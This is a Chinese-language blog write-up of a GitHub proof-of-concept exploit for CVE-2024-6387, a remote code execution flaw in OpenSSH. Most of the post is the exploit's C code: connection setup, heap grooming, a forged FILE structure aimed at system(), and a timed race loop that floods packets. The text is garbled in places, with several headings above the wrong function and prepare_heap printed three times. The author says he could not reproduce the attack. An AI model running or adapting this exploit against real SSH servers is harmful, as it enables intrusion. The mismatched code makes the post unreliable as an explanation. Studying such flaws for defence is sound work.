CVE-2024-6387-OpenSSH远程代码执行
2024-07-02 / 共计2130 字
昨天发现OpenSSH居然出了远程命令执行的漏洞(网传核弹漏洞),心想那不得通杀互联网上的大部分linux,几乎都用的OpenSSH,这不得找来研究研究。
Poc
在github上找到的Poc,代码详情就不放上来了,自己去github看吧,经过分析没有后门,主要分析一下其中重要部分吧。 代码利用方式:通过利用OpenSSH服务器中信号处理程序的竞争条件漏洞,尝试在目标系统上以root权限执行远程代码。
主要函数实现:
- setup_connection:设置与目标服务器的连接。 建立与目标服务器的连接。它创建一个套接字,通过给定的IP和端口连接到服务器,并将套接字设置为非阻塞模式。如果任何一步失败,它会打印错误信息并返回-1
int setup_connection (const char *ip, int port)
{
int sock = socket (AF_INET, SOCK_STREAM, 0);
if (sock < 0)
{
perror ("socket");
return -1;
}
struct sockaddr_in server_addr;
memset (&server_addr, 0, sizeof (server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons (port);
if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
{
perror ("inet_pton");
close (sock);
return -1;
}
if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr)) < 0)
{
perror ("connect");
close (sock);
return -1;
}
int flags = fcntl (sock, F_GETFL, 0);
fcntl (sock, F_SETFL, flags | O_NONBLOCK);
return sock;
}
- send_packet:发送SSH数据包。 构造并发送一个SSH数据包。数据包的格式包括长度字段、包类型和数据内容。如果发送失败,打印错误信息
void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len)
{
unsigned char packet[MAX_PACKET_SIZE];
size_t packet_len = len + 5;
packet[0] = (packet_len >> 24) & 0xFF;
packet[1] = (packet_len >> 16) & 0xFF;
packet[2] = (packet_len >> 8) & 0xFF;
packet[3] = packet_len & 0xFF;
packet[4] = packet_type;
memcpy (packet + 5, data, len);
if (send (sock, packet, packet_len, 0) < 0)
{
perror ("send_packet");
}
}
- send_ssh_version和receive_ssh_version:发送和接收SSH版本信息。
send_ssh_version
函数发送SSH版本字符串到目标服务器,而receive_ssh_version
函数接收并打印从服务器发送的版本字符串
void prepare_heap (int sock)
{
for (int i = 0; i < 10; i++)
{
unsigned char tcache_chunk[64];
memset (tcache_chunk, 'A', sizeof (tcache_chunk));
send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
}
for (int i = 0; i < 27; i++)
{
unsigned char large_hole[8192];
memset (large_hole, 'B', sizeof (large_hole));
send_packet (sock, 5, large_hole, sizeof (large_hole));
unsigned char small_hole[320];
memset (small_hole, 'C', sizeof (small_hole));
send_packet (sock, 5, small_hole, sizeof (small_hole));
}
for (int i = 0; i < 27; i++)
{
unsigned char fake_data[4096];
create_fake_file_structure (fake_data, sizeof (fake_data), GLIBC_BASES[0]);
send_packet (sock, 5, fake_data, sizeof (fake_data));
}
unsigned char large_string[MAX_PACKET_SIZE - 1];
memset (large_string, 'E', sizeof (large_string));
send_packet (sock, 5, large_string, sizeof (large_string));
}
- send_kex_init和receive_kex_init:发送和接收密钥交换初始化包。
send_kex_init
函数发送一个密钥交换初始化包(SSH_MSG_KEXINIT)到服务器,而receive_kex_init
函数接收并验证服务器的响应
int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{
unsigned char pub_key_packet[MAX_PACKET_SIZE];
create_public_key_packet (pub_key_packet, sizeof (pub_key_packet), glibc_base);
struct timespec req = { 0, (long)((parsing_time - 1.0) * 1e9) };
nanosleep (&req, NULL);
for (int i = 0; i < 1000; i++)
{
send_packet (sock, 21, pub_key_packet, sizeof (pub_key_packet));
}
unsigned char response[MAX_PACKET_SIZE];
ssize_t n = recv (sock, response, sizeof (response), 0);
if (n > 0 && response[0] == 52)
{
printf ("Received unexpected SSH_MSG_USERAUTH_SUCCESS packet!\n");
return 1;
}
return 0;
}
- perform_ssh_handshake:执行SSH握手。 执行一个完整的SSH握手流程,包括发送和接收版本信息、发送和接收密钥交换初始化包。如果任何一步失败,则返回-1
void prepare_heap(int sock)
{
for (int i = 0; i < 10; i++)
{
unsigned char tcache_chunk[64];
memset(tcache_chunk, 'A', sizeof(tcache_chunk));
send_packet(sock, 5, tcache_chunk, sizeof(tcache_chunk));
}
for (int i = 0; i < 27; i++)
{
unsigned char large_hole[8192];
memset(large_hole, 'B', sizeof(large_hole));
send_packet(sock, 5, large_hole, sizeof(large_hole));
unsigned char small_hole[320];
memset(small_hole, 'C', sizeof(small_hole));
send_packet(sock, 5, small_hole, sizeof(small_hole));
}
for (int i = 0; i < 27; i++)
{
unsigned char fake_data[4096];
create_fake_file_structure(fake_data, sizeof(fake_data), GLIBC_BASES[0]);
send_packet(sock, 5, fake_data, sizeof(fake_data));
}
unsigned char large_string[MAX_PACKET_SIZE - 1];
memset(large_string, 'E', sizeof(large_string));
send_packet(sock, 5, large_string, sizeof(large_string));
}
- prepare_heap:准备堆布局,为漏洞利用创建合适的堆状态。 通过发送特定大小的数据包来准备堆布局,试图为漏洞利用创建合适的堆状态
void prepare_heap(int sock)
{
for (int i = 0; i < 10; i++)
{
unsigned char tcache_chunk[64];
memset(tcache_chunk, 'A', sizeof(tcache_chunk));
send_packet(sock, 5, tcache_chunk, sizeof(tcache_chunk));
}
for (int i = 0; i < 27; i++)
{
unsigned char large_hole[8192];
memset(large_hole, 'B', sizeof(large_hole));
send_packet(sock, 5, large_hole, sizeof(large_hole));
unsigned char small_hole[320];
memset(small_hole, 'C', sizeof(small_hole));
send_packet(sock, 5, small_hole, sizeof(small_hole));
}
for (int i = 0; i < 27; i++)
{
unsigned char fake_data[4096];
create_fake_file_structure(fake_data, sizeof(fake_data), GLIBC_BASES[0]);
send_packet(sock, 5, fake_data, sizeof(fake_data));
}
unsigned char large_string[MAX_PACKET_SIZE - 1];
memset(large_string, 'E', sizeof(large_string));
send_packet(sock, 5, large_string, sizeof(large_string));
}
- create_fake_file_structure:创建伪造的文件结构体。 创建一个伪造的文件结构体,试图利用堆溢出漏洞将控制流劫持到目标地址
void create_fake_file_structure(unsigned char *data, size_t size, uint64_t glibc_base)
{
memset(data, 0, size);
uint64_t *ptr = (uint64_t *)(data + CHUNK_ALIGN(0x180));
ptr[0] = glibc_base + 0x3c4b78; // &_IO_list_all
ptr[1] = glibc_base + 0x3c67a0; // &system
}
- time_final_packet和measure_response_time:测量响应时间,精确调整最后一个数据包的发送时机。
time_final_packet
函数发送一个特定的包并测量其响应时间,以确定合适的时机进行攻击。measure_response_time
函数实际执行响应时间的测量
void time_final_packet(int sock, double *parsing_time)
{
unsigned char timing_packet[MAX_PACKET_SIZE];
memset(timing_packet, 'D', sizeof(timing_packet));
send_packet(sock, 5, timing_packet, sizeof(timing_packet));
*parsing_time = measure_response_time(sock, 5);
}
double measure_response_time(int sock, int error_type)
{
struct timespec start, end;
clock_gettime(CLOCK_MONOTONIC, &start);
unsigned char response[MAX_PACKET_SIZE];
ssize_t n = recv(sock, response, sizeof(response), 0);
if (n <= 0 || response[0] != error_type)
{
return -1.0;
}
clock_gettime(CLOCK_MONOTONIC, &end);
return (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
}
- create_public_key_packet:创建公共密钥包。 创建一个公共密钥包,用于触发漏洞利用
void create_public_key_packet(unsigned char *packet, size_t size, uint64_t glibc_base)
{
memset(packet, 0, size);
packet[4] = 21; // SSH_MSG_USERAUTH_PK_OK
memcpy(packet + 5, "fake-key-data", 13);
}
- attempt_race_condition:尝试利用竞争条件漏洞。 漏洞主要部分,尝试利用竞争条件漏洞。它创建一个公共密钥包,并在特定的时间点发送大量此类包,以试图触发漏洞。如果成功接收到意外的SSH_MSG_USERAUTH_SUCCESS包,则表示漏洞利用成功
int attempt_race_condition(int sock, double parsing_time, uint64_t glibc_base)
{
unsigned char pub_key_packet[MAX_PACKET_SIZE];
create_public_key_packet(pub_key_packet, sizeof(pub_key_packet), glibc_base);
struct timespec req = { 0, (long)((parsing_time - 1.0) * 1e9) };
nanosleep(&req, NULL);
for (int i = 0; i < 1000; i++)
{
send_packet(sock, 21, pub_key_packet, sizeof(pub_key_packet));
}
unsigned char response[MAX_PACKET_SIZE];
ssize_t n = recv(sock, response, sizeof(response), 0);
if (n > 0 && response[0] == 52)
{
printf("Received unexpected SSH_MSG_USERAUTH_SUCCESS packet!\n");
return 1;
}
return 0;
}
漏洞复现
很遗憾,我并未复现成功,从OpenSSH < 4.4p1 或 8.5p1 <= OpenSSH < 9.8p1 的版本中多个版本都进行了复现,但是都没能成功。由于对漏洞涉及系统层面了,技术不足,无法具体分析原因。 在网上找了一圈,也没看见有真正成功复现的。
报告说是在32位系统下,并且用了6-8小时才成功,64位难度更大。。。。。 就冲这利用难度,用处太局限了。若哪天我成功复现了,再补上复现的内容吧
文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!
如果文章对您有帮助
欢迎关注公众号!
感谢您的支持!